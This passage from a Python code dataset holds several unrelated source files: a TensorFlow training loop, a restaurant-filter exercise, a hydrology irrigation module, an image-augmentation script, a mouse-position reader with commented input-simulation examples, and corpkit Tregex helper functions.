sess:\n\n # initialize variables\n tf.global_variables_initializer().run()\n\n print (\"Training started........\")\n\n for indexIter in range(max_iters):\n\n print(\"Iteration\", indexIter + 1)\n\n for startIndex, endIndex in zip(range(0,len(trainXreshape), batch_size), \\\n range(batch_size, len(trainXreshape), batch_size)):\n\n if (startIndex) % 1000 == 0:\n print(\"StartIndex\", startIndex)\n\n sess.run(train_op, feed_dict={X: trainXreshape[startIndex:endIndex], Y: trainY[startIndex:endIndex]})\n\n\n #if (indexIter+1)%1==0:\n #acc_train = sess.run(accuracy, feed_dict={X:trainXreshape, Y:trainY})\n #print (\"Accuracy(training)\", acc_train)\n\n #acc_test = sess.run(accuracy, feed_dict={X:testXreshape, Y:testY})\n #print (\"Accuracy(test)\", acc_test)\n\n #loss_train = sess.run(loss, feed_dict={X: trainXreshape, Y: trainY})\n #print (\"Training loss\", loss_train)\n\n print (\"Training finished.\")\n\n\n\nif __name__ == '__main__':\n tf.set_random_seed(123)\n main()\n","sub_path":"Task1 - v1.py","file_name":"Task1 - v1.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"397382328","text":"restaurants=eval(input())#餐厅列表\nisveganFriendly=input()\nmaxPrice=int(input())\nmaxDistance=int(input())\npick=[]\nfor item in restaurants:\n if(isveganFriendly==\"0\")or(item[2]==1):\n if(item[3]<=maxPrice):\n if(item[4]<=maxDistance):\n pick.append(item)\nresult=[]\nID=[]\nRate=[]\nfor item in pick:\n ID.append(item[0])\n Rate.append(item[1])\ni=0\ntime=len(ID)\nwhile(i=0):\n if Rate[j]==maxrate:\n result.append(ID[j])\n ID.pop(j)\n Rate.pop(j)\n j=j-1\n i=i+1\nprint(result)","sub_path":"Code/CodeRecords/2527/60708/254241.py","file_name":"254241.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"105204890","text":"import numpy as np\nimport numexpr as ne\n\nfrom mosartwmpy.config.parameters import Parameters\nfrom mosartwmpy.grid.grid import Grid\nfrom mosartwmpy.state.state import State\nfrom mosartwmpy.subnetwork.state import update_subnetwork_state\nfrom mosartwmpy.utilities.timing import timing\n\n# @timing\ndef subnetwork_irrigation(state: State, grid: Grid, parameters: Parameters) -> None:\n \"\"\"Tracks the supply of water from the subnetwork river channels extracted into the grid cells.\n\n Args:\n state (State): the current model state; will be mutated\n grid (Grid): the model grid\n parameters (Parameters): the model parameters\n \"\"\"\n \n depth_condition = calculate_depth_condition(grid.mosart_mask, state.euler_mask, state.tracer, parameters.LIQUID_TRACER, state.subnetwork_depth, parameters.irrigation_extraction_condition)\n \n flow_volume = np.empty_like(state.subnetwork_storage)\n np.copyto(flow_volume, state.subnetwork_storage)\n \n volume_condition = calculate_volume_condition(flow_volume, state.grid_cell_unmet_demand)\n \n state.grid_cell_supply = calculate_reservoir_supply(depth_condition, volume_condition, state.grid_cell_supply, state.grid_cell_unmet_demand, flow_volume)\n \n flow_volume = calculate_flow_volume(depth_condition, volume_condition, flow_volume, state.grid_cell_unmet_demand)\n \n state.grid_cell_unmet_demand = calculate_reservoir_demand(depth_condition, volume_condition, state.grid_cell_unmet_demand, flow_volume)\n \n flow_volume = update_flow_volume(depth_condition, volume_condition, flow_volume)\n \n state.subnetwork_storage = calculate_subnetwork_storage(depth_condition, flow_volume, state.subnetwork_storage)\n \n update_subnetwork_state(state, grid, parameters, depth_condition)\n\ncalculate_depth_condition = ne.NumExpr(\n '(mosart_mask > 0) &'\n 'euler_mask &'\n '(tracer == LIQUID_TRACER) &'\n '(subnetwork_depth >= irrigation_extraction_condition)',\n (('mosart_mask', np.int64), ('euler_mask', np.bool), ('tracer', np.int64), ('LIQUID_TRACER', np.int64), ('subnetwork_depth', np.float64), ('irrigation_extraction_condition', np.float64))\n)\n\ncalculate_volume_condition = ne.NumExpr(\n 'flow_volume >= reservoir_demand',\n (('flow_volume', np.float64), ('reservoir_demand', np.float64))\n)\n\ncalculate_reservoir_supply = ne.NumExpr(\n 'where('\n 'depth_condition,'\n 'where('\n 'volume_condition,'\n 'reservoir_supply + reservoir_demand,'\n 'reservoir_supply + flow_volume'\n '),'\n 'reservoir_supply'\n ')',\n (('depth_condition', np.bool), ('volume_condition', np.bool), ('reservoir_supply', np.float64), ('reservoir_demand', np.float64), ('flow_volume', np.float64))\n)\n\ncalculate_flow_volume = ne.NumExpr(\n 'where('\n 'depth_condition & volume_condition,'\n 'flow_volume - reservoir_demand,'\n 'flow_volume'\n ')',\n (('depth_condition', np.bool), ('volume_condition', np.bool), ('flow_volume', np.float64), ('reservoir_demand', np.float64))\n)\n\ncalculate_reservoir_demand = ne.NumExpr(\n 'where('\n 'depth_condition,'\n 'where('\n 'volume_condition,'\n '0,'\n 'reservoir_demand - flow_volume'\n '),'\n 'reservoir_demand'\n ')',\n (('depth_condition', np.bool), ('volume_condition', np.bool), ('reservoir_demand', np.float64), ('flow_volume', np.float64))\n)\n\nupdate_flow_volume = ne.NumExpr(\n 'where('\n 'depth_condition & (~volume_condition),'\n '0,'\n 'flow_volume'\n ')',\n (('depth_condition', np.bool), ('volume_condition', np.bool), ('flow_volume', np.float64))\n)\n\ncalculate_subnetwork_storage = ne.NumExpr(\n 'where('\n 'depth_condition,'\n 'flow_volume,'\n 'subnetwork_storage'\n ')',\n (('depth_condition', np.bool), ('flow_volume', np.float64), ('subnetwork_storage', np.float64))\n)","sub_path":"mosartwmpy/subnetwork/irrigation.py","file_name":"irrigation.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"62283778","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: wyl\n@email: wangyl306@163.com\n@data: Thu Jul 2 11:26:42 2020\n\nalbumentations方案\n像素级转换\npip install albumentations\n可定制化加入增强方案:https://github.com/albumentations-team/albumentations\n\"\"\"\nimport cv2\nfrom matplotlib import pyplot as plt\nfrom tqdm import tqdm\nimport os\nimport shutil\n\n\nfrom albumentations import (Blur, OpticalDistortion, GridDistortion, HueSaturationValue,\n IAAAdditiveGaussianNoise, GaussNoise, MotionBlur, MedianBlur, RandomBrightnessContrast, RandomRain,RandomFog,RandomSunFlare,RandomShadow,RandomSnow,CoarseDropout,Cutout\n)\n\n\ndef augment_and_show(aug, image):\n plt.figure(figsize=(40,40))\n plt.subplot(2,1,1)\n plt.imshow(image)\n image1 = aug(image=image)['image']\n plt.subplot(2, 1, 2)\n plt.imshow(image1)\n plt.show()\n# aug = RandomBrightnessContrast(brightness_limit=(0.1, 0.2),contrast_limit=(0.1, 0.2),p=1)\n# aug =MedianBlur(blur_limit=3,p=1)\n\n\n# 原始图像\ndef ImageAugument():\n imgs_save_dir = 'data/albu_imgs/'\n if not os.path.exists(imgs_save_dir):\n os.makedirs(imgs_save_dir)\n xmls_save_dir = 'data/albu_xmls/'\n if not os.path.exists(xmls_save_dir):\n os.makedirs(xmls_save_dir)\n path = \"data/img\" # 文件夹目录\n xml_path=\"data/xml\"\n files = os.listdir(path) # 得到文件夹下的所有文件名称\n # 遍历文件夹\n prefix = path + '/'\n print(\"begin>>>\")\n for file in tqdm(files):\n image=cv2.imread(prefix + file)\n # cv2.imwrite(\"origin.jpg\",image)\n xml=xml_path+\"/\"+file[:-4]+\".xml\"\n\n #示例:使用具有随机孔径线性大小的中值滤波器来模糊输入图像\n aug =MedianBlur(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'mb' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"mb\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #随机大小的内核模糊输入图像\n aug =Blur(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'blur' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"blur\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #高斯模糊\n aug =GaussNoise(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'gau' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"gau\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #随机雨\n aug =RandomRain(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'rain' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"rain\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #随机雾\n aug =RandomFog(fog_coef_lower = 0.2,fog_coef_upper =0.5,alpha_coef = 0.1,p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'fog' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"fog\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #太阳耀斑RandomSunFlare\n aug =RandomSunFlare(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'sun' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"sun\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #阴影RandomShadow\n aug =RandomShadow(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'shadow' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"shadow\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #随机雪RandomSnow\n aug =RandomSnow(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'snow' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"snow\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name)\n \n #随机CoarseDropout\n aug =CoarseDropout(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'drop' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"drop\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name) \n\n #随机cutout\n aug =Cutout(p=1)\n \n aug_image = aug(image=image)['image']\n cv2.imwrite(imgs_save_dir + file[:-4] + 'cut' + '.jpg',aug_image)\n new_name = xmls_save_dir+\"/\"+file[:-4]+\"cut\"+\".xml\" # 为文件赋予新名字\n shutil.copyfile(xml, new_name) \n \n print(\"Done\")\n\nif __name__ == '__main__':\n ImageAugument()","sub_path":"addimg_xml/albu.py","file_name":"albu.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"366113275","text":"# -*- coding: utf-8 -*-\n'''\n@ Copyright (C) 2018 EfonFighting(email:efonfighting@126.com)(android_wechat:Efon-fighting)\n@\n@ description: 读取鼠标在屏幕中的坐标,并显示。\n@\n@ env stetup:\n@ pip install pyautogui\n@\n'''\n\nimport os,time\nimport pyautogui as pag\n\ndef getPointAxis():\n try:\n while True:\n print (\"Press Ctrl-C to end\")\n x,y = pag.position() #返回鼠标的坐标\n posStr=\"Position:\"+str(x).rjust(4)+','+str(y).rjust(4)\n print (posStr)#打印坐标\n time.sleep(0.2)\n os.system('cls')#清除屏幕\n except KeyboardInterrupt:\n print ('end....')\n\n\n\n\"\"\"\n附录:鼠标模拟和键盘模拟的范例。\npip install PyUserInput\n################模拟鼠标\nfrom pymouse import *\nm = PyMouse()\nm.click(1806, 14)\nm.click(x,y,button,n) #鼠标点击;x,y 是坐标位置;button #1表示左键,2表示点击右键;n –点击次数,默认是1次,2表示双击\nm.click(577, 490, 1)\n\n################鼠标事件监控\nclass Clickonacci(PyMouseEvent):\n def __init__(self):\n PyMouseEvent.__init__(self)\n\n def click(self, x, y, button, press):\n print(time.time(), button, press)\n\nc = Clickonacci()\nc.run()\n\n###############模拟键盘\nfrom pykeyboard import *\nk = PyKeyboard()\nk.type_string(u'杀毒防御') # 我靠不能输入中文啊。。。\nk.press_key('H') # 模拟键盘按H键\nk.release_key('H') # 模拟键盘松开H键\nk.tap_key('H') # 模拟点击H键\nk.tap_key('H', n=2, interval=5) # 模拟点击H键,2次,每次间隔5秒\nk.tap_key(k.function_keys[5]) # 点击功能键F5\n\n###############组合键模拟\n#例如同时按alt+tab键盘\nk.press_key(k.alt_key) # 按住alt键\nk.tap_key(k.tab_key) # 点击tab键\nk.release_key(k.alt_key) # 松开alt键\n\n###############键盘事件监听\nclass TapRecord(PyKeyboardEvent):\n def __init__(self):\n PyKeyboardEvent.__init__(self)\n\n def tap(self, keycode, character, press):\n print(time.time(), keycode, character, press)\n\nt = TapRecord()\nt.run()\n\n\"\"\"","sub_path":"pc_windows/screen_coordinate.py","file_name":"screen_coordinate.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"110207459","text":"from __future__ import print_function\n\n# in here are functions used internally by corpkit\n# not intended to be called by users. \n\ndef datareader(data, plaintext = False, **kwargs):\n import corpkit\n \"\"\"\n Returns a string of plain text from a number of kinds of data.\n\n The kinds of data currently accepted are:\n\n path to corpus : all trees are flattened\n path to subcorpus : all trees are flattened\n conc() output (list of concordance lines)\n csv file generated with conc()\n a string of text\n \"\"\"\n import os\n import pandas\n from process import tregex_engine\n from tests import check_dit\n try:\n get_ipython().getoutput()\n except TypeError:\n have_ipython = True\n except NameError:\n import subprocess\n have_ipython = False\n\n tregex_engine_used = False\n \n # if unicode, make it a string\n if type(data) == str:\n if not os.path.isdir(data):\n if not os.path.isfile(data):\n return good\n if type(data) == str:\n # if it's a file, read it\n if os.path.isfile(data):\n good = open(data).read()\n # if it's a dir, flatten all trees\n elif os.path.isdir(data):\n # get all sentences newline separated\n query = r'__ !< __'\n options = ['-o', '-t']\n\n # if lemmatise, we get each word on a newline\n if kwargs.get('lemmatise'):\n query = r'__ <# (__ !< __)'\n options = ['-o']\n \n # check for trees ...\n #while plaintext is False:\n #for f in first_twenty:\n #plaintext = tregex_engine(corpus = f, check_for_trees = True)\n \n if not plaintext:\n tregex_engine_used = True\n results = tregex_engine(corpus = data,\n options = options,\n query = query, \n **kwargs)\n else:\n results = []\n fs = [os.path.join(data, f) for f in os.listdir(data)]\n # do recursive if need\n if any(os.path.isdir(f) for f in fs):\n recursive_files = []\n for dirname, dirnames, filenames in os.walk(data):\n for filename in filenames:\n recursive_files.append(os.path.join(dirname, filename))\n fs = recursive_files\n \n import nltk\n sent_tokenizer=nltk.data.load('tokenizers/punkt/english.pickle')\n for f in fs:\n raw = str(open(f).read(), 'utf-8', errors = 'ignore')\n sents = sent_tokenizer.tokenize(raw)\n tokenized_sents = [nltk.word_tokenize(i) for i in sents]\n for sent in tokenized_sents:\n for w in sent:\n results.append(w.lower()) \n\n return results\n\n #good = '\\n'.join(results)\n # if a string of text, \n else:\n good = data\n # if conc results, turn into string...\n elif type(data) == pandas.core.frame.DataFrame:\n # if conc lines:\n try:\n if list(data.columns) == ['l', 'm', 'r']:\n conc_lines = True\n else:\n conc_lines = False\n except:\n conc_lines = False\n if conc_lines:\n # may not be unicode!?\n good = [' '.join(list(data.ix[l])) for l in list(data.index)]\n\n else:\n good = data\n\n # make unicode\n if not tregex_engine_used:\n try:\n good = str(good, 'utf-8', errors = 'ignore')\n except TypeError:\n pass\n\n return good\n\ndef tregex_engine(corpus = False, \n options = False, \n query = False, \n check_query = False,\n check_for_trees = False,\n lemmatise = False,\n just_content_words = False,\n return_tuples = False,\n root = False,\n preserve_case = False,\n **kwargs):\n \"\"\"\n Run a Java Tregex query\n \n :param query: tregex query\n :type query: str\n \n :param options: list of tregex options\n :type options: list of strs -- ['-t', '-o']\n \n :param corpus: place to search\n :type corpus: str\n \n :param check_query: just make sure query ok\n :type check_query: bool\n \n :param check_for_trees: find out if corpus contains parse trees\n :type check_for_trees: bool\n\n :returns: list of search results\n\n \"\"\"\n import corpkit\n from process import add_corpkit_to_path\n add_corpkit_to_path()\n import subprocess \n from subprocess import Popen, PIPE, STDOUT\n import re\n from time import localtime, strftime\n from tests import check_dit\n from dictionaries.word_transforms import wordlist\n import os\n import sys\n\n on_cloud = check_dit()\n\n def find_wordnet_tag(tag):\n import corpkit\n if tag.startswith('j'):\n tag = 'a'\n elif tag.startswith('v') or tag.startswith('m'):\n tag = 'v'\n elif tag.startswith('n'):\n tag = 'n'\n elif tag.startswith('r'):\n tag = 'r'\n else:\n tag = False\n return tag\n\n # if check_query, enter the while loop\n # if not, get out of it\n an_error_occurred = True\n\n # site pack path\n corpath = os.path.join(os.path.dirname(corpkit.__file__))\n cor1 = os.path.join(corpath, 'tregex.sh')\n cor2 = os.path.join(corpath, 'corpkit', 'tregex.sh')\n\n # pyinstaller\n pyi = sys.argv[0].split('Contents/MacOS')[0] + 'Contents/MacOS/tregex.sh'\n\n possible_paths = ['tregex.sh', corpath, pyi, cor1, cor2]\n\n while an_error_occurred:\n tregex_file_found = False\n for i in possible_paths:\n if os.path.isfile(i):\n tregex_command = [i]\n tregex_file_found = True\n break\n if not tregex_file_found:\n thetime = strftime(\"%H:%M:%S\", localtime())\n print(\"%s: Couldn't find Tregex in %s.\" % (thetime, ', '.join(possible_paths)))\n return False\n\n if not query:\n query = 'NP'\n # if checking for trees, use the -T option\n if check_for_trees:\n options = ['-o', '-T']\n\n filenaming = False\n try:\n if '-f' in options:\n filenaming = True\n except:\n pass\n\n if return_tuples or lemmatise:\n options = ['-o']\n # append list of options to query \n if options:\n if '-s' not in options and '-t' not in options:\n options.append('-s')\n [tregex_command.append(o) for o in options]\n # dummy option\n else:\n options = ['-o', '-t']\n if query:\n tregex_command.append(query)\n if corpus:\n if os.path.isdir(corpus) or os.path.isfile(corpus):\n if '-filter' not in options:\n tregex_command.append(corpus)\n # do query\n #try:\n \n if type(options) != bool:\n if not '-filter' in options:\n res = subprocess.check_output(tregex_command, stderr=subprocess.STDOUT).decode(encoding='UTF-8').splitlines()\n else:\n p = Popen(tregex_command, stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n p.stdin.write(corpus.encode('utf-8', errors = 'ignore'))\n res = p.communicate()[0].decode(encoding='UTF-8').splitlines()\n p.stdin.close()\n print(res)\n else:\n p = Popen(tregex_command, stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n p.stdin.write(corpus.encode('utf-8', errors = 'ignore'))\n res = p.communicate()[0].decode(encoding='UTF-8').splitlines()\n print(type(res))\n p.stdin.close()\n # exception handling for regex error\n #except Exception, e:\n # try:\n # res = str(e.output).split('\\n')\n # except:\n # raise e\n\n if check_query:\n # define error searches \n tregex_error = re.compile(r'^Error parsing expression')\n regex_error = re.compile(r'^Exception in thread.*PatternSyntaxException')\n # if tregex error, give general error message\n if re.match(tregex_error, res[0]):\n tregex_error_output = \"\"\n if root:\n time = strftime(\"%H:%M:%S\", localtime())\n print('%s: Error parsing Tregex query.' % time)\n return False\n time = strftime(\"%H:%M:%S\", localtime())\n selection = input('\\n%s: Error parsing Tregex expression \"%s\".\\nWould you like to:\\n\\n' \\\n ' a) rewrite it now\\n' \\\n ' b) exit\\n\\nYour selection: ' % (time, query))\n if 'a' in selection:\n query = input('\\nNew Tregex query: ')\n elif 'b' in selection:\n print('')\n return False\n \n # if regex error, try to help\n elif re.match(regex_error, res[0]):\n if root:\n time = strftime(\"%H:%M:%S\", localtime())\n print('%s: Regular expression in Tregex query contains an error.' % time)\n return False\n info = res[0].split(':')\n index_of_error = re.findall(r'index [0-9]+', info[1])\n justnum = index_of_error[0].split('dex ')\n spaces = ' ' * int(justnum[1])\n remove_start = query.split('/', 1)\n remove_end = remove_start[1].split('/', -1)\n time = strftime(\"%H:%M:%S\", localtime())\n selection = input('\\n%s: Error parsing regex inside Tregex query: %s'\\\n '. Best guess: \\n%s\\n%s^\\n\\nYou can either: \\n' \\\n ' a) rewrite it now\\n' \\\n ' b) exit\\n\\nYour selection: ' % (time, str(info[1]), str(remove_end[0]), spaces))\n if 'a' in selection:\n query = input('\\nNew Tregex query: ')\n elif 'b' in selection:\n print('')\n return \n else:\n an_error_occurred = False\n return query\n # if not query checking, leave this horrible while loop\n else: \n an_error_occurred = False\n \n # counting is easy, just get out with the number\n if '-C' in options:\n return int(res[-1])\n\n # remove errors and blank lines\n res = [s for s in res if not s.startswith('PennTreeReader:') and s]\n\n # find and remove stderr lines\n if '-filter' not in options:\n n = 1\n std_last_index = res.index(next(s for s in res \\\n if s.startswith('Reading trees from file') \\\n or s.startswith('using default tree')))\n else:\n n = 2\n std_last_index = res.index(next(s for s in res \\\n if s.startswith('Parsed representation:')))\n res = res[std_last_index + n:]\n res = [r.lstrip().rstrip() for r in res]\n\n # this is way slower than it needs to be, because it searches a whole subcorpus!\n if check_for_trees:\n if res[0].startswith('1:Next tree read:'):\n return True\n else:\n return False\n # return if no matches\n if res[-1] == 'There were 0 matches in total.':\n return []\n # remove total\n res = res[:-1]\n # make unicode and lowercase\n make_tuples = []\n\n if filenaming:\n for index, r in enumerate(res):\n if r.startswith('# /'):\n make_tuples.append((r, res[index + 1]))\n res = make_tuples\n \n if not filenaming:\n if preserve_case:\n pass # res = [str(w, 'utf-8', errors = 'ignore') for w in res]\n else:\n res = [w.lower().replace('/', '-slash-') for w in res]\n else:\n if preserve_case:\n pass # res = [(str(t, 'utf-8', errors = 'ignore'), str(w, 'utf-8', errors = 'ignore')) for t, w in res]\n else:\n res = [(t, w.lower().replace('/', '-slash-')) for t, w in res]\n\n if lemmatise or return_tuples:\n # CAN'T BE USED WITH ALMOST EVERY OPTION!\n allwords = []\n from nltk.stem.wordnet import WordNetLemmatizer\n lmtzr=WordNetLemmatizer()\n # turn this into a list of words or lemmas, with or without closed words\n for result in res:\n # remove brackets and split on first space\n result = result.lstrip('(')\n result = result.rstrip(')')\n tag, word = result.split(' ', 1)\n # get wordnet tag from stanford tag\n wordnet_tag = find_wordnet_tag(tag)\n short_tag = tag[:2]\n # do manual lemmatisation first\n if lemmatise:\n if word in wordlist:\n word = wordlist[word]\n # do wordnet lemmatisation\n if wordnet_tag:\n word = lmtzr.lemmatize(word, wordnet_tag)\n if just_content_words:\n if wordnet_tag:\n if return_tuples:\n allwords.append((word, tag))\n else:\n allwords.append(word)\n else:\n if return_tuples:\n allwords.append((word, tag))\n else:\n allwords.append(word)\n res = allwords\n if return_tuples:\n res = [(w, t.upper()) for w, t in res]\n return res\n\n\ndef make_nltk_text(directory, \n collapse_dirs = True, \n tagged = False, \n lemmatise = False, \n just_content_words = False):\n \"\"\"\n Turn a lot of trees into an nltk style text\"\"\"\n import nltk\n import os\n from process import tregex_engine\n if type(directory) == str:\n dirs = [os.path.join(directory, d) for d in os.listdir(directory) if os.path.isdir(os.path.join(directory, d))]\n if len(dirs) == 0:\n dirs = [directory]\n elif type(directory) == list:\n dirs = directory\n\n return_tuples = False\n if tagged:\n return_tuples = True\n\n if just_content_words:\n lemmatise = True\n\n query = r'__ < (/.?[A-Za-z0-9].?/ !< __)'\n if not return_tuples and not lemmatise:\n options = ['-o', '-t']\n else:\n options = ['-o']\n\n # filthy code.\n all_out = []\n\n for d in dirs:\n print(\"Flattening %s ... \" % str(d))\n res = tregex_engine(corpus = d, \n query = query, \n options = options,\n lemmatise = lemmatise,\n just_content_words = just_content_words,\n return_tuples = return_tuples)\n all_out.append(res)\n\n if collapse_dirs:\n tmp = []\n for res in all_out:\n for w in res:\n tmp.append(w)\n all_out = tmp\n textx = nltk.Text(all_out)\n else:\n textx = {}\n for name, text in zip(dirs, all_out):\n t = nltk.Text(all_out)\n textx[os.path.basename(name)] = t\n return textx\n\n\n\ndef show(lines, index, show = 'thread'):\n \"\"\"show lines.ix[index][link] as frame\"\"\"\n import corpkit\n url = lines.ix[index]['link'].replace('link', '')\n return HTML('' % url)\n\ndef add_corpkit_to_path():\n import sys\n import os\n import inspect\n corpath = inspect.getfile(inspect.currentframe())\n baspat = os.path.dirname(corpath)\n dicpath = os.path.join(baspat, 'dictionaries')\n for p in [corpath, baspat, dicpath]:\n if p not in sys.path:\n sys.path.append(p)\n if p not in os.environ[\"PATH\"].split(':'): \n os.environ[\"PATH\"] += os.pathsep + p\n\ndef add_nltk_data_to_nltk_path(**kwargs):\n import nltk\n import os\n npat = nltk.__file__\n nltkpath = os.path.dirname(npat)\n if nltkpath not in nltk.data.path:\n nltk.data.path.append(nltkpath)\n if 'note' in list(kwargs.keys()):\n path_within_gui = os.path.join(nltkpath.split('/lib/python2.7')[0], 'nltk_data')\n if path_within_gui not in nltk.data.path:\n nltk.data.path.append(path_within_gui)\n if path_within_gui.replace('/nltk/', '/', 1) not in nltk.data.path:\n nltk.data.path.append(path_within_gui.replace('/nltk/', '/', 1))\n\ndef get_gui_resource_dir():\n import inspect\n import os\n import sys\n if sys.platform == 'darwin':\n key = 'Mod1'\n fext = 'app'\n else:\n key = 'Control'\n fext = 'exe'\n corpath = corpath = __file__\n extens = '.%s' % fext\n apppath = corpath.split(extens , 1)\n resource_path = ''\n # if not an .app\n if len(apppath) == 1:\n resource_path = os.path.dirname(corpath)\n else:\n apppath = apppath[0] + extens\n appdir = os.path.dirname(apppath)\n if sys.platform == 'darwin':\n #resource_path = os.path.join(apppath, 'Contents', 'Resources')\n resource_path = os.path.join(apppath, 'Contents', 'MacOS')\n else:\n resource_path = appdir\n return resource_path\n\ndef get_fullpath_to_jars(path_var):\n \"\"\"when corenlp is needed, this sets corenlppath as the path to jar files,\n or returns false if not found\"\"\"\n import os\n important_files = ['stanford-corenlp-3.5.2-javadoc.jar', 'stanford-corenlp-3.5.2-models.jar',\n 'stanford-corenlp-3.5.2-sources.jar', 'stanford-corenlp-3.5.2.jar']\n \n # if user selected file in parser dir rather than dir,\n # get the containing dir\n path_var_str = path_var.get()\n\n if os.path.isfile(path_var_str):\n path_var_str = os.path.dirname(path_var_str.rstrip('/'))\n # if the user selected the subdir:\n if all(os.path.isfile(os.path.join(path_var_str, f)) for f in important_files):\n path_var.set(path_var_str)\n return True\n\n # if the user selected the parent dir:\n if os.path.isdir(path_var_str):\n # get subdirs containing the jar\n try:\n find_install = [d for d in os.listdir(path_var_str) \\\n if os.path.isdir(os.path.join(path_var_str, d)) \\\n and os.path.isfile(os.path.join(path_var_str, d, 'jollyday.jar'))]\n except OSError:\n pass\n if len(find_install) > 0:\n path_var.set(os.path.join(path_var_str, find_install[0]))\n return True\n\n # need to fix this duplicated code\n try:\n home = os.path.expanduser(\"~\")\n try_dir = os.path.join(home, 'corenlp')\n if os.path.isdir(try_dir):\n path_var_str = try_dir\n # get subdirs containing the jar\n try:\n find_install = [d for d in os.listdir(path_var_str) \\\n if os.path.isdir(os.path.join(path_var_str, d)) \\\n and os.path.isfile(os.path.join(path_var_str, d, 'jollyday.jar'))]\n except OSError:\n pass\n if len(find_install) > 0:\n path_var.set(os.path.join(path_var_str, find_install[0]))\n return True\n except:\n pass\n return False\n\ndef determine_datatype(path):\n \"\"\"determine if plaintext, tokens or parsed xml\"\"\"\n import os\n from collections import Counter\n allowed = ['.txt', '.xml', '.p']\n exts = []\n if not os.path.isdir(path) and not os.path.isfile(path):\n raise ValueError(\"Corpus path '%s' doesn't exist.\" % path)\n singlefile = False\n if os.path.isfile(path):\n singlefile = True\n if '.' in path:\n exts = [os.path.splitext(path)[1]]\n else:\n exts = ['.txt']\n else:\n for (root, dirs, fs) in os.walk(path):\n for f in fs:\n if '.' in f:\n ext = os.path.splitext(f)[1]\n exts.append(ext)\n counted = Counter(exts)\n counted.pop('', None)\n try:\n mc = counted.most_common(1)[0][0]\n except IndexError:\n mc = '.txt'\n if mc == '.xml':\n return 'parse', singlefile\n elif mc == '.txt':\n return 'plaintext', singlefile\n elif mc == '.p':\n return 'tokens', singlefile\n else:\n return 'plaintext', singlefile\n\ndef filtermaker(the_filter, case_sensitive = False):\n import re\n if type(the_filter) == list:\n from other import as_regex\n the_filter = as_regex(the_filter, case_sensitive = case_sensitive)\n try:\n output = re.compile(the_filter)\n is_valid = True\n except:\n is_valid = False\n if root:\n import traceback\n import sys\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lst = traceback.format_exception(exc_type, exc_value,\n exc_traceback)\n error_message = lst[-1]\n thetime = strftime(\"%H:%M:%S\", localtime())\n print('%s: Filter %s' % (thetime, error_message))\n return 'Bad query'\n \n while not is_valid:\n if root:\n time = strftime(\"%H:%M:%S\", localtime())\n print(the_filter)\n print('%s: Invalid the_filter regular expression.' % time)\n return False\n time = strftime(\"%H:%M:%S\", localtime())\n selection = input('\\n%s: filter regular expression \" %s \" contains an error. You can either:\\n\\n' \\\n ' a) rewrite it now\\n' \\\n ' b) exit\\n\\nYour selection: ' % (time, the_filter))\n if 'a' in selection:\n the_filter = input('\\nNew regular expression: ')\n try:\n output = re.compile(r'\\b' + the_filter + r'\\b')\n is_valid = True\n except re.error:\n is_valid = False\n elif 'b' in selection:\n print('')\n return False\n return output\n\ndef searchfixer(search, query, datatype = False):\n \"\"\"normalise query/search value\"\"\"\n if type(search) == str and type(query) == dict:\n return search\n if type(search) == str:\n search = search[0].lower()\n if not search.lower().startswith('t') and not search.lower().startswith('n'):\n if query == 'any':\n query = r'.*'\n search = {search: query}\n return search\n\ndef is_number(s):\n \"\"\"check if str can be can be made into float/int\"\"\"\n try:\n float(s) # for int, long and float\n except ValueError:\n try:\n complex(s) # for complex\n except ValueError:\n 